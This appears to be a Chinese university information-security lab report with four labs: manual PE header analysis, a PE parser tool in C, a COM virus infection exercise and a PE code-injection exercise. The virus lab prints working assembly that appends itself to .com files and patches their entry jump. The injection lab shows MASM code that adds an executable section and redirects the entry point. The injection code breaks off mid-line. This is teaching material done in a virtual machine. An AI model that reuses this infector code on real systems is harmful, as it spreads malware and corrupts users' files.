版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
试验一手动分析PE文件格式实验目的:手动分许PE文件二、实验工具:Stud_PE、WinHex、任意一个PE文件、一台电脑。三、实验原理:按照PE文件文件结构,能够实现手动分析。四、实验步骤:打开WinHex,导入要分析的文件:File—>Open我分析的是Storm.exe文件。查看文件前两个字节,是否为4D5A,如果是,转到第3步,否则该文件不是PE文件。如图1.1图1.1:storm.exe文件分析查看偏移地址3CH处的四个字节C0000000,C0H即为NT映像头的始址。如图1.2图1.2:查看偏移地址查看偏移地址分别为C0000000处的四个字节偏移地址分别为C0000000处的四个字节为50450000说明该文件是PE文件,否则不是PE文件下面是对PE头文件的分析结果:IMAGE_FILE_HEADERsizeMachine24C01014CX86NumberOfSections23三个节TimeDateStamp4356A0949文件生成时间PointerToSymbolTable400000000COFF符号表的偏移NumberOfSymbols400000000符号数目SizeOfOptionalHeader2E0可选头的大小Characteristics20F01标记IMAGE_OPTIONAL_HEADERMagic2010B幻数,一般是010BHMajorLinkerVersion15连接程序的主版本号MinorLinkerVersion10C连接程序的次版本号SizeOfCode44000代码段的总尺寸SizeOfInitializedData400060000已初始化的数据总尺寸SizeOfUninitializedData400000000未初始化的数据总尺寸AddressOfEntryPoint41045开始执行位置BaseOfCode41000代码节开始的位置BaseOfData45000数据节开始的位置ImageBase4400000可执行文件的默认装入的内存地址SectionAlignment41000可执行文件的默认装入的内存时节的对齐数字FileAlignment41000文件中节的对齐数字,一般是一个扇区长MajorOperatingSystemVer2400要求最低操作系统版本号的主版本号MinorOperatingSystemVer20000要求最低操作系统版本号的次版本号MajorImageVersion20000可执行文件主版本号MinorImageVersion20000可执行文件次版本号MajorSubsystemVersion20400要求最小系统主版本号MinorSubsystemVersion20000要求最小系统次版本号Win32VersionValue400000000SizeOfImage48000装入内存后映像的总尺寸SizeOfHeaders41000NT映像头+节表的大小CheckSum400000000检验和Subsystem20200可执行文件的子系统DllCharacteristics20000何时DllMain被调用,一般为0SizeOfStackReserve400001000初始化线程时保留的堆栈大小SizeOfStackCommit400100000初始化线程时提交的堆栈大小SizeOfHeapReserve400100000进程初始化时保留的堆栈大小SizeOfHeapCommit400100000进程初始化时提交的堆栈大小LoaderFlags400000000此项与调试有关NumberOfRvaAndSizes410000000数据目录的项数,五、实验总结:通过对PE文件的手动分析,我懂得了PE文件的文件格式。为以后的学习打下了坚实的基础。试验二、编写PE文件分析工具一、实验目的:编写一个工具,自动分析PE文件,要能判断是否是PE文件,能分析PE文件头文件个数据项的分析二、实验原理:可以通过一个叫做IMAGE_DOS_HEADER的结构来识别一个合法的DOS头。这个结构的头两个字节一定是“MZ”(#defineIMAGE_DOS_SIGNATURE"MZ")。你通过该结构的一个叫做“e_lfanew”(offset60,32bits)的成员来找到PE开始的标志它。通过DOS头,可以找到一个叫做IMAGE_FILE_HEADER的结构。文件头下面就是可选头,这是一个叫做IMAGE_OPTIONAL_HEADER的结构。它包含很多关于PE文件定位的信息。三、主要功能实现:1、加载PE文件BOOLOpenFileDlg(HWNDhwnd){ OPENFILENAMEofn;memset(szFilePath,0,MAX_PATH); memset(&ofn,0,sizeof(ofn)); ofn.lStructSize=sizeof(ofn); ofn.hwndOwner=hwnd; ofn.hInstance=GetModuleHandle(NULL); ofn.nMaxFile=MAX_PATH; ofn.lpstrInitialDir="."; ofn.lpstrFile=szFilePath; ofn.lpstrTitle="Open...[PEInfo_example]byA.Yong(信息安全)"; ofn.Flags=OFN_PATHMUSTEXIST|OFN_FILEMUSTEXIST|OFN_HIDEREADONLY; ofn.lpstrFilter="*.*\0*.*\0"; if(!GetOpenFileName(&ofn)) returnFALSE; returnTRUE;}如果加载的文件不是PE文件,提示,在主窗口的处理函数中加入如下处理过程if(!IsPEFile(stMapFile.ImageBase)){MessageBox(hWnd,"InvalidPEFormatfile!:(","PEInfo_Example",MB_OK);UnLoadFile(&stMapFile);EnableEditCtrl(hWnd,FALSE); returnFALSE;}这样,在加载的文件不是PE文件是,就会弹出消息窗口voidUnLoadFile(PMAP_FILE_STRUCTpstMapFile){ if(pstMapFile->ImageBase) UnmapViewOfFile(pstMapFile->ImageBase); if(pstMapFile->hMapping) CloseHandle(pstMapFile->hMapping); if(pstMapFile->hFile) CloseHandle(pstMapFile->hFile);}BOOLLoadFileR(LPTSTRlpFilename,PMAP_FILE_STRUCTpstMapFile){ HANDLEhFile; HANDLEhMapping; LPVOIDImageBase; memset(pstMapFile,0,sizeof(MAP_FILE_STRUCT)); hFile=CreateFile(lpFilename,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0); if(!hFile) returnFALSE;hMapping=CreateFileMapping(hFile,NULL,PAGE_READONLY,0,0,NULL); if(!hMapping) { CloseHandle(hFile); returnFALSE; } ImageBase=MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0);if(!ImageBase) { CloseHandle(hMapping); CloseHandle(hFile); returnFALSE; } pstMapFile->hFile=hFile; pstMapFile->hMapping=hMapping; pstMapFile->ImageBase=ImageBase; returnTRUE;}得到ODS头文件结构IMAGE_FILE_HEADERGetFileHeader(LPVOIDImageBase){PIMAGE_DOS_HEADERpDH=NULL;PIMAGE_NT_HEADERSpNtH=NULL;PIMAGE_FILE_HEADERpFH=NULL;if(!IsPEFile(ImageBase)) returnNULL;pDH=(PIMAGE_DOS_HEADER)ImageBase;pNtH=(PIMAGE_NT_HEADERS)((DWORD)pDH+pDH->e_lfanew);pFH=&pNtH->FileHeader;returnpFH;}得到NT映像头结构PIMAGE_NT_HEADERSGetNtHeaders(LPVOIDImageBase){ if(!IsPEFile(ImageBase)) returnNULL; PIMAGE_NT_HEADERSpNtH; PIMAGE_DOS_HEADERpDH; pDH=(PIMAGE_DOS_HEADER)ImageBase; pNtH=(PIMAGE_NT_HEADERS)((DWORD)pDH+pDH->e_lfanew); returnpNtH;}得到可选头结构PIMAGE_OPTIONAL_HEADERGetOptionalHeader(LPVOIDImageBase){PIMAGE_DOS_HEADERpDH=NULL;PIMAGE_NT_HEADERSpNtH=NULL;PIMAGE_OPTIONAL_HEADERpOH=NULL;if(!IsPEFile(ImageBase)) returnNULL;pDH=(PIMAGE_DOS_HEADER)ImageBase;pNtH=(PIMAGE_NT_HEADERS)((DWORD)pDH+pDH->e_lfanew);pOH=&pNtH->OptionalHeader;returnpOH;}显示dos头信息voidShowFileHeaderInfo(HWNDhWnd){ charcBuff[10];PIMAGE_FILE_HEADERpFH=NULL; pFH=GetFileHeader(stMapFile.ImageBase);if(!pFH) { MessageBox(hWnd,"Can'tgetFileHeader!:(","PEInfo_Example",MB_OK); return; } wsprintf(cBuff,"%04lX",pFH->Machine); SetDlgItemText(hWnd,IDC_EDIT_FH_MACHINE,cBuff); wsprintf(cBuff,"%04lX",pFH->NumberOfSections); SetDlgItemText(hWnd,IDC_EDIT_FH_NUMOFSECTIONS,cBuff); wsprintf(cBuff,"%08lX",pFH->TimeDateStamp); SetDlgItemText(hWnd,IDC_EDIT_FH_TDS,cBuff); wsprintf(cBuff,"%08lX",pFH->PointerToSymbolTable); SetDlgItemText(hWnd,IDC_EDIT_FH_PTSYMBOL,cBuff); wsprintf(cBuff,"%08lX",pFH->NumberOfSymbols); SetDlgItemText(hWnd,IDC_EDIT_FH_NUMOFSYM,cBuff); wsprintf(cBuff,"%04lX",pFH->SizeOfOptionalHeader); SetDlgItemText(hWnd,IDC_EDIT_FH_SIZEOFOH,cBuff);wsprintf(cBuff,"%04lX",pFH->Characteristics); SetDlgItemText(hWnd,IDC_EDIT_FH_CHARACTERISTICS,cBuff); }显示可选头信息voidShowOptionHeaderInfo(HWNDhWnd){ charcBuff[10]; PIMAGE_OPTIONAL_HEADERpOH=NULL;pOH=GetOptionalHeader(stMapFile.ImageBase); if(!pOH) { MessageBox(hWnd,"Can'tgetOptionalHeader!:(","PEInfo_Example",MB_OK); return; }wsprintf(cBuff,"%08lX",pOH->AddressOfEntryPoint); SetDlgItemText(hWnd,IDC_EDIT_OH_EP,cBuff);wsprintf(cBuff,"%08lX",pOH->ImageBase); SetDlgItemText(hWnd,IDC_EDIT_OH_IMAGEBASE,cBuff); wsprintf(cBuff,"%08lX",pOH->BaseOfCode); SetDlgItemText(hWnd,IDC_EDIT_OH_CODEBASE,cBuff); wsprintf(cBuff,"%08lX",pOH->BaseOfData); SetDlgItemText(hWnd,IDC_EDIT_OH_DATABASE,cBuff); wsprintf(cBuff,"%08lX",pOH->SizeOfImage); SetDlgItemText(hWnd,IDC_EDIT_OH_IMAGESIZE,cBuff);wsprintf(cBuff,"%08lX",pOH->SizeOfHeaders);SetDlgItemText(hWnd,IDC_EDIT_OH_HEADERSIZE,cBuff); wsprintf(cBuff,"%08lX",pOH->SectionAlignment); SetDlgItemText(hWnd,IDC_EDIT_OH_SECTIONALIGN,cBuff); wsprintf(cBuff,"%08lX",pOH->FileAlignment); SetDlgItemText(hWnd,IDC_EDIT_OH_FILEALIGN,cBuff); wsprintf(cBuff,"%08lX",pOH->Subsystem);SetDlgItemText(hWnd,IDC_EDIT_OH_SUBSYSTEM,cBuff); wsprintf(cBuff,"%04lX",pOH->CheckSum); SetDlgItemText(hWnd,IDC_EDIT_OH_CHECKSUM,cBuff); wsprintf(cBuff,"%04lX",pOH->DllCharacteristics);SetDlgItemText(hWnd,IDC_EDIT_OH_DLLFLAGS,cBuff);}显示数据目录信息voidShowDataDirInfo(HWNDhDlg){charcBuff[9];PIMAGE_OPTIONAL_HEADERpOH=NULL;pOH=GetOptionalHeader(stMapFile.ImageBase);if(!pOH)return; for(inti=0;i<16;i++){wsprintf(cBuff,"%08lX",pOH->DataDirectory[i].VirtualAddress);SetDlgItemText(hDlg,EditID_Array[i].ID_RVA,cBuff); wsprintf(cBuff,"%08lX",pOH->DataDirectory[i].Size);SetDlgItemText(hDlg,EditID_Array[i].ID_SIZE,cBuff); }}显示节表信息voidShowSectionHeaderInfo(HWNDhDlg){ LVITEMlvItem; charcBuff[9],cName[9]; WORDi;PIMAGE_FILE_HEADERpFH=NULL; PIMAGE_SECTION_HEADERpSH=NULL; pFH=GetFileHeader(stMapFile.ImageBase); if(!pFH)return; pSH=GetFirstSectionHeader(stMapFile.ImageBase); for(i=0;i<pFH->NumberOfSections;i++) { memset(&lvItem,0,sizeof(lvItem)); lvItem.mask=LVIF_TEXT; lvItem.iItem=i; memset(cName,0,sizeof(cName)); memcpy(cName,pSH->Name,8); lvItem.pszText=cName; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_INSERTITEM,0,(LPARAM)&lvItem); lvItem.pszText=cBuff; wsprintf(cBuff,"%08lX",pSH->VirtualAddress); lvItem.iSubItem=1; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); wsprintf(cBuff,"%08lX",pSH->Misc.VirtualSize); lvItem.iSubItem=2; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); wsprintf(cBuff,"%08lX",pSH->PointerToRawData); lvItem.iSubItem=3; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); wsprintf(cBuff,"%08lX",pSH->SizeOfRawData); lvItem.iSubItem=4; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); wsprintf(cBuff,"%08lX",pSH->Characteristics); lvItem.iSubItem=5; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); ++pSH; }}运行效果如下:1>显示可选头信息和文件头信息。如图2.1图2.1:显示可选头信息和文件头信息2>显示节表信息。如图2.2图2.2:显示节表信息3>显示数据目录信息。如图2.3图2.3:显示数据目录信息四、实验总结: 通过编写PE文件分析程序,我更进一步的了解了PE文件的文件结构。虽然在编写过程中遇到很多问题,但在老师的细心指导下,还是顺利的完成了。实验三COM病毒分析一.实验目的 1、掌握COM病毒的原理及设计方法2、理解COM病毒感染目标文件的步骤和机理二.实验环境安装在VirtualBox上的DOS虚拟机三.实验步骤(模拟COM病毒感染文件的过程)向虚拟机中DOS操作系统拷贝MASM5及源程序virus.asm、target.asm汇编、连接感染目标文件target.asm,得到target.exe。如图3.1图3.1将exe文件转换为com文件,得到。并对比target.exe与的执行结果。(前者显示乱码)如图3.2图3.2汇编、连接病毒文件virus.asm,得到virus.exe即可。如图3.3图3.3备份为target_,运行和target_,查看输出文本,运行病毒文件virus.exe,再运行和target_查看输出文本。发现文件已被感染。如图3.4图3.4重命名为target_.com,重命名target_为,运行查看输出文本,运行target_.com,再运行发现文件被感染,说明被感染文件target_.com具有感染性,即成为新的病毒感染源。如图3.5图3.5四.Virus.asm代码分析CSEGSEGMENTASSUMECS:CSEG,DS:CSEG,SS:CSEGmainPROCNEARmainstart:CALLvstart;病毒的代码开始处vstart:POPSI;得到当前地址MOVBP,SI;保存当前地址PUSHSIMOVAH,9ADDSI,OFFSETmessage-OFFSETvstart;显示预设字符串MOVDX,SIINT21hPOPSIADDSI,OFFSETyuan4byte-OFFSETvstart;取得原程序中的前四个字节MOVDI,100h;目的地址MOVAX,DS:[SI];开始复制MOVDS:[DI],AXINCSIINCSIINCDIINCDIMOVAX,DS:[SI]MOVDS:[DI],AXMOVSI,BP;恢复地址值MOVDX,OFFSETdelname-OFFSETvstartADDDX,SIMOVAH,41hINT21hMOVDX,OFFSETfilename-OFFSETvstart;得到文件名ADDDX,SIMOVAL,02MOVAH,3dh;写文件INT21hJCerrorMOVBX,AX;文件句柄MOVDX,OFFSETyuan4byte-OFFSETvstart;读文件的前四个字节ADDDX,SIMOVCX,4MOVAH,3fhINT21hMOVAX,4202h;到文件尾XORCX,CXXORDX,DXINT21hMOVDI,OFFSETnew4byte-OFFSETvstart;保存要跳的地方ADDDI,2ADDDI,SISUBAX,4MOVDS:[DI],AXADDSI,OFFSETmainstart-OFFSETvstart;准备写入病毒MOVDX,SIMOVvsizes,OFFSETvends-OFFSETmainstartMOVCX,vsizesMOVAH,40hINT21hMOVSI,BP;定位到文件头MOVAL,0XORCX,CXXORDX,DXMOVAH,42hINT21hMOVAH,40h;将新的文件头写入MOVCX,4MOVDX,OFFSETnew4byte-OFFSETvstartADDDX,SIINT21hMOVAH,3eh;关闭文件INT21herror:MOVAX,100hPUSHAXRETmainENDPyuan4byte:RETDB3DUP(?)vsizesDW0new4byteDB'M',0e9h,0,0filenameDB"",0delnameDB"del.txt",0messageDB"Youareinfectedbyasimplecomvirus~~"DB0dh,0ah,"$"vends:start:MOVAX,CSEGMOVDS,AXMOVSS,AXCALLmainMOVAX,4c00hINT21hCSEGENDSENDstart若将感染目标文件名改为target.asm,通过命令edittarget.asm查看被感染后的文件。发现在代码的头部和尾部出现大量乱码,可知文件被修改,且感染后的病毒功能字节段在文件末尾。如图3.6图3.6实验四PE病毒分析一、实验目的:通过PE文件附加一段二进制码加深对kernal32的定位及增加节表项,增加节及修改源文件入口点的理解二、实验工具:Masm32V8三、实验源码:mov eax,_dwSize xor edx,edx div _dwAlign .if edx inc eax .endif mul _dwAlign pop edx ret
_Align endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_ProcessPeFile proc _lpFile,_lpPeHead,_dwSize local @szNewFile[MAX_PATH]:byte local @hFile,@dwTemp,@dwEntry,@lpMemory local @szBuffer[256]:byte
pushad;********************************************************************;(Part1)准备工作:1-建立新文件,2-打开文件;******************************************************************** invoke lstrcpy,addr@szNewFile,addrszFileName invoke lstrlen,addr@szNewFile lea ecx,@szNewFile mov byteptr[ecx+eax-4],0 invoke lstrcat,addr@szNewFile,addrszExt invoke CopyFile,addrszFileName,addr@szNewFile,FALSE
invoke CreateFile,addr@szNewFile,GENERIC_READor\ GENERIC_WRITE,FILE_SHARE_READorFILE_SHARE_WRITE,\ NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL .if eax== INVALID_HANDLE_VALUE invoke SetWindowText,hWinEdit,addrszErrCreate jmp _Ret .endif mov @hFile,eax;********************************************************************;(Part2);esi-->原PeHead,edi-->新的PeHead;edx-->最后一个节表,ebx-->新加的节表;******************************************************************** mov esi,_lpPeHead assume esi:ptrIMAGE_NT_HEADERS,edi:ptrIMAGE_NT_HEADERS invoke GlobalAlloc,GPTR,[esi].OptionalHeader.SizeOfHeaders mov edi,eax invoke RtlMoveMemory,edi,_lpFile,\ [esi].OptionalHeader.SizeOfHeaders mov @lpMemory,eax mov edi,eax add edi,esi sub edi,_lpFile movzx eax,[esi].FileHeader.NumberOfSections dec eax mov ecx,sizeofIMAGE_SECTION_HEADER mul ecx
mov edx,edi add edx,eax add edx,sizeofIMAGE_NT_HEADERS mov ebx,edx add ebx,sizeofIMAGE_SECTION_HEADER assume ebx:ptrIMAGE_SECTION_HEADER assume edx:ptrIMAGE_SECTION_HEADER;********************************************************************;(Part3)加入一个新的节,并修正一些PE头部的内容;******************************************************************** inc [edi].FileHeader.NumberOfSections mov eax,[edx].PointerToRawData add eax,[edx].SizeOfRawData mov [ebx].PointerToRawData,eax invoke _Align,offsetAPPEND_CODE_END-offsetAPPEND_CODE,\ [esi].OptionalHeader.FileAlignment mov [ebx].SizeOfRawData,eax invoke _Align,offsetAPPEND_CODE_END-offsetAPPEND_CODE,\ [esi].OptionalHeader.SectionAlignment add [edi].OptionalHeader.SizeOfCode,eax;修正SizeOfCode add [edi].OptionalHeader.SizeOfImage,eax;修正SizeOfImage invoke _Align,[edx].Misc.VirtualSize,\ [esi].OptionalHeader.SectionAlignment add eax,[edx].VirtualAddress mov [ebx].VirtualAddress,eax mov [ebx].Misc.VirtualSize,\ offsetAPPEND_CODE_END-offsetAPPEND_CODE mov [ebx].Characteristics,IMAGE_SCN_CNT_CODEor\ IMAGE_SCN_MEM_EXECUTEorIMAGE_SCN_MEM_READ\ orIMAGE_SCN_MEM_WRITE invoke lstrcpy,addr[ebx].Name1,addrszMySection;********************************************************************;(Part4)修正文件入口指针;******************************************************************** mov eax,[ebx].VirtualAddress add eax,(offset_NewEntry-offsetAPPEND_CODE) mov [edi].OptionalHeader.AddressOfEntryPoint,eax;********************************************************************;(Part5)写文件;******************************************************************** invoke WriteFile,@hFile,@lpMemory,\ [esi].OptionalHeader.SizeOfHeaders,addr@dwTemp,NULL invoke SetFilePointer,@hFile,[ebx].PointerToRawData,\ NULL,FILE_BEGIN invoke WriteFile,@hFile,offsetAPPEND_CODE,\ [ebx].Misc.VirtualSize,addr@dwTemp,NULL mov eax,[ebx].PointerToRawData add eax,[ebx].SizeOfRawData invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN invoke SetEndOfFile,@hFile;********************************************************************;(Part6)修正新加代码中的JmpoldEntry指令;******************************************************************** push [esi].OptionalHeader.AddressOfEntryPoint pop @dwEntry mov eax,[ebx].VirtualAddress add eax,(offset_ToOldEntry-offsetAPPEND_CODE+5) sub @dwEntry,eax mov ecx,[ebx].PointerToRawData add ecx,(offset_dwOldEntry-offsetAPPEND_CODE) invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN invoke WriteFile,@hFile,addr@dwEntry,4,addr@dwTemp,NULL;********************************************************************;(Part7)关闭文件;******************************************************************** invoke GlobalFree,@lpMemory invoke CloseHandle,@hFile invoke wsprintf,addr@szBuffer,AddrszSuccess,addr@szNewFile invoke SetWindowText,hWinEdit,addr@szBuffer_Ret: assume esi:nothing popad ret
_ProcessPeFile endpPart1从原始PE文件拷贝一个名为“原始文件名_new.exe”的文件,这个文件将被添加上可执行代码,原来的“原始文件名.exe”文件则不会被改动。当文件成功拷贝后,程序将打开拷贝生成的新文件以便进行修改。Part2分配一个等于目标PE文件的文件头大小的内存块,并将文件头拷贝到这个内存块中,所有对PE文件头的修改操作都是在这个内存块中完成的,这个内存块的内容最终将被写到“原始文件名_new.exe”文件中。Part3在节表中加入一个新的节表项目,节表项中的VirtualSize,VirtualAddress,SizeOfRawData,PointerToRawData,Characteristics和Name1字段需要被设置。其中Name1中的名称被设置为“.adata”;Characteristics字段中的标志被设置为可执行和可读写,这是因为需要对这个节中的hDllKernel32等变量进行写入操作。其他几个字段值的算法如下(下面的“上一节”指原始PE文件的最后一节):
PointerToRawData=(上一节的PointerToRawData)+(上一节的SizeOfRawData)
SizeOfRawData=附加代码的长度按FileAlignMent值对齐
VirtualAddress=(上一节的VirtualAddress)+(上一节的VirtualSize按SectionAlignMent的对齐值)
VirtualSize=附加代码的长度按SectionAlignMent值对齐其中的对齐算法是用_Align子程序来完成的。在这一部分中,程序还修正了文件头中的SizeOfCode和SizeOfImage的值。如果SizeOfImage的值不被修正的话,Windows将无法装入修改后的PE文件,报的错误为“这不是一个有效的Win32可执行文件”。Part5将修改后的文件头写入文件并将附加代码写到文件的最后,由于附加代码的长度还没有按FileAlignMent的值对齐,所以程序再次使用SetFilePointer函数将文件指针移动到对齐后的位置并用SetFileEnd函数将文件长度扩展到这里。Part6将原始PE文件的入口地址取出,和附加代码的入口地址计算得出“jmp原入口地址”这条指令中的二进制码值,并将这个值写到附加代码的对应位置中。Part7进行扫尾工作,如释放内存、关闭文件和显示成功信息等。至此,程序的所有功能就完成了另外一个源文件_AddCode.asm中包含了被添加到目标PE文件中的代码,内容如下:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;一些函数的原形定义;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_ProtoGetProcAddress typedef proto :dword,:dword_ProtoLoadLibrary typedef proto :dword_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword_ApiGetProcAddress typedef ptr _ProtoGetProcAddress_ApiLoadLibrary typedef ptr _ProtoLoadLibrary_ApiMessageBox typedef ptr _ProtoMessageBox;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>APPEND_CODE equ thisbyte;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;被添加到目标文件中的代码从这里开始;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>include _GetKernel.asm;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>hDllKernel32 dd ?hDllUser32 dd ?_GetProcAddress _ApiGetProcAddress ?_LoadLibrary _ApiLoadLibrary ?_MessageBox _ApiMessageBox ?szLoadLibrary db 'LoadLibraryA',0szGetProcAddressdb 'GetProcAddress',0szUser32 db 'user32',0szMessageBox db 'MessageBoxA',0szCaption db '问题提示',0szText db '一定要运行这个程序吗?',0;********************************************************************;新的入口地址;********************************************************************_NewEntry:;********************************************************************;重定位并获取一些API的入口地址;******************************************************************** call @F @@: pop ebx sub ebx,offset@B;******************************************************************** invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址 .if !eax jmp _ToOldEntry .endif mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口 lea eax,[ebx+szGetProcAddr
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 文化活动的保安工作探讨计划
- 基于项目的美术教学计划
- 西南医科大学《灾害卫生学》2022-2023学年第一学期期末试卷
- 西南交通大学《数据结构与算法》2022-2023学年第一学期期末试卷
- 西华师范大学《日语二外》2021-2022学年第一学期期末试卷
- 2024年01月11141工程经济与管理期末试题答案
- 西昌学院《规划设计》2023-2024学年第一学期期末试卷
- 西北大学《网页设计》2023-2024学年第一学期期末试卷
- 西北大学《近代物理实验》2022-2023学年第一学期期末试卷
- 探究暖宝宝的发热原理说课稿-2023-2024学年九年级化学人教版下册
- 普外科分层次培训计划
- 《光辉岁月》教案
- 英文审稿意见汇总
- 儿童早期口腔健康管理-948-2020年华医网继续教育答案
- DLP投影机3D观看调试方法完美解码
- 面条加工项目可行性研究报告写作范文
- 钢卷尺检定证书
- 新电气符号国标
- 综采队班组民主会议记录
- 三角函数及解三角形在高考中的地位和应对策略
- 六年级生字词复习课教学设计(共4页)
评论
0/150
提交评论